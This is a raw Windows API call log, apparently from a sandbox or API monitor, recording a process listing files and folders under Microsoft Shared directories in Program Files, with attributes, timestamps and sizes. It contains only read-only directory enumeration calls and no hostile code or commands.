	[0050.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1265c698 | out: lpFileInformation=0x1265c698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.805] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.805] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1
	[0050.805] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.805] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.805] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), fInfoLevelId=0x0, lpFileInformation=0x1265c738 | out: lpFileInformation=0x1265c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988)) returned 1
	[0050.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), fInfoLevelId=0x0, lpFileInformation=0x1265c788 | out: lpFileInformation=0x1265c788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88)) returned 1
	[0050.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), fInfoLevelId=0x0, lpFileInformation=0x1265c7d8 | out: lpFileInformation=0x1265c7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.809] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.809] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1
	[0050.810] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.810] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), fInfoLevelId=0x0, lpFileInformation=0x1265c878 | out: lpFileInformation=0x1265c878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.810] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.810] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.810] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1
	[0050.810] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.810] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.810] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), fInfoLevelId=0x0, lpFileInformation=0x1265c918 | out: lpFileInformation=0x1265c918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x123ed850 | out: lpFindFileData=0x123ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.811] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.811] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.811] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1
	[0050.811] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1
	[0050.811] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed870 | out: lpFindFileData=0x123ed870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.811] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1265ca58 | out: lpFileInformation=0x1265ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.812] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x123ed7ec | out: lpFindFileData=0x123ed7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.812] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed80c | out: lpFindFileData=0x123ed80c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.812] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed80c | out: lpFindFileData=0x123ed80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1
	[0050.812] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed80c | out: lpFindFileData=0x123ed80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.812] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), fInfoLevelId=0x0, lpFileInformation=0x1265caf8 | out: lpFileInformation=0x1265caf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5)) returned 1
	[0050.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1265cb48 | out: lpFileInformation=0x1265cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78)) returned 1
	[0050.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), fInfoLevelId=0x0, lpFileInformation=0x1265cb98 | out: lpFileInformation=0x1265cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90)) returned 1
	[0050.812] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x1265cbe8 | out: lpFileInformation=0x1265cbe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0050.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.813] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1
	[0050.813] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
